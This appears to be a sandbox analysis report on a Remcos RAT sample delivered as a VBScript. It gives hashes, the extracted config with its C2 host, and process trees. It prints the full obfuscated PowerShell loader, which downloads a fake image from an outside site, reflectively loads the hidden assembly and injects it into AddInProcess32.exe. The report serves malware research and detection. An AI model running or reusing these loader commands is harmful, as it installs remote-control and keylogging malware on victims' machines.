remcos | d99ef4f74f7929ccab7db338318181e2813b7d4e9259a95e6d1a70441e52f4ff

General

Target

sostener.vbs
Size

210KB
MD5

0f8dfb470e4e95aad3aca2bdec3e64ad
SHA1

af0979c4780e47a3f44a428b7f7f839434e0a43b
SHA256

d99ef4f74f7929ccab7db338318181e2813b7d4e9259a95e6d1a70441e52f4ff
SHA512

2aa4ec1dd2fe240754e24efb2c6675d6bb6822cd27ab0c88ffb018c00349e7bdbfb15c3771ba9eb82bc4df3ae452151586abba052b24dcff24bf8944768504e6
SSDEEP

1536:ben2+mzXdnsE+tZsd99CObiFCocEW1aJK66n5yhtW0/5JpWn4c1Ig0BfbUZlu9gn:YEsZsdg9JK6X/vc+g0BfcQ7P8

Score

10^/10

remcos fenix execution rat

Malware Config

Extracted

Family

remcos

Botnet

FENIX

C2

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-NDSLIH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 7 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 2556 WScript.exe
6 2556 WScript.exe
8 2556 WScript.exe
11 1684 powershell.exe
13 1684 powershell.exe
14 1684 powershell.exe
17 1684 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

536 powershell.exe
1684 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1684 set thread context of 2164 1684 powershell.exe AddInProcess32.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

536 powershell.exe
1684 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 536 powershell.exe
Token: SeDebugPrivilege 1684 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AddInProcess32.exe

pid process

2164 AddInProcess32.exe

flow	pid	process
3	2556	WScript.exe
6	2556	WScript.exe
8	2556	WScript.exe
11	1684	powershell.exe
13	1684	powershell.exe
14	1684	powershell.exe
17	1684	powershell.exe

pid	process
536	powershell.exe
1684	powershell.exe

description	pid	process	target process
PID 1684 set thread context of 2164	1684	powershell.exe	AddInProcess32.exe

pid	process
536	powershell.exe
1684	powershell.exe

description	pid	process
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe

pid	process
2164	AddInProcess32.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2556 wrote to memory of 536	2556	WScript.exe	powershell.exe
PID 2556 wrote to memory of 536	2556	WScript.exe	powershell.exe
PID 2556 wrote to memory of 536	2556	WScript.exe	powershell.exe
PID 536 wrote to memory of 1684	536	powershell.exe	powershell.exe
PID 536 wrote to memory of 1684	536	powershell.exe	powershell.exe
PID 536 wrote to memory of 1684	536	powershell.exe	powershell.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe
PID 1684 wrote to memory of 2164	1684	powershell.exe	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreDDgTreDgTreLwBjDgTreEEDgTreYwBSDgTreGEDgTreLwBkDgTreC8DgTreZQBlDgTreC4DgTreZQB0DgTreHMDgTreYQBwDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/cAcRa/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:2164

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\registros.dat
Filesize
144B

MD5
b76a70eb23ee34b51420ff9ab6ca6ea3

SHA1
c1c1cacb78d6cc55cd48ea50ea64d11eb05bf958

SHA256
4c3c496974460f5277748430b2a44d523c1cbddc662401368a24330c521c7faf

SHA512
056540d9182c6c7874e6354e0ac46df88519b1324d5b05708dcbac031789a01cfa04b3cff66950b61056236293be4d344bd0de48b80e9a9350b488cb7e387fed

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
94fb58ba74736e726c5831cbd6eebaac

SHA1
c30ff415431c890f9b3a610845f8b7bb9393bfc2

SHA256
eddc67e476897b2e57afef5dbdc3376d9a6214a5901b2d95a1ff152f770dab97

SHA512
e485f8e7bbc67fca978504a9f4d13e83ae79899a2eabe20d26f299aaae0959a8a011cc90139229e8e1eb32940450cd994c36f2464e4f49ff73c6d119627891e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab279F.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar27B1.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
54638587970ac5855312e74e698363e3

SHA1
f4929fd2ddc62e665a46702e0d16435e714f4da2

SHA256
66d5450e6b516ed1a1a7cd75a6890fa648c076aa8107d3757715255b67b1820a

SHA512
362ff6b5db69404c8dd045fafa5c1a4e80d20398588dfa1dff97a07aaa863f572d31b9d9a9c4a46eb93fad9a93c4dda9244b5aed48c70a7036a5950753b3542a

Download Submit
memory/536-148-0x000007FEF5EFE000-0x000007FEF5EFF000-memory.dmp

Filesize
4KB

Download
memory/536-149-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/536-150-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/536-151-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/536-152-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/536-240-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/536-268-0x000007FEF5C40000-0x000007FEF65DD000-memory.dmp

Filesize
9.6MB

Download
memory/1684-241-0x000000001ADC0000-0x000000001B080000-memory.dmp

Filesize
2.8MB

Download
memory/2164-275-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-287-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-254-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-256-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-258-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-260-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2164-261-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-246-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-248-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-250-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-262-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-263-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-266-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-267-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-269-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-270-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-271-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-273-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-274-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-244-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-276-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-278-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-279-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-281-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-283-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-284-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-285-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-252-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-288-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-289-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-290-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-292-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-293-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-294-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-295-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-297-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-298-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-299-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-300-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-302-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-303-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-304-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-305-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-307-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-308-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-309-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-311-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-312-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-313-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-314-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-316-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-317-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2164-318-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
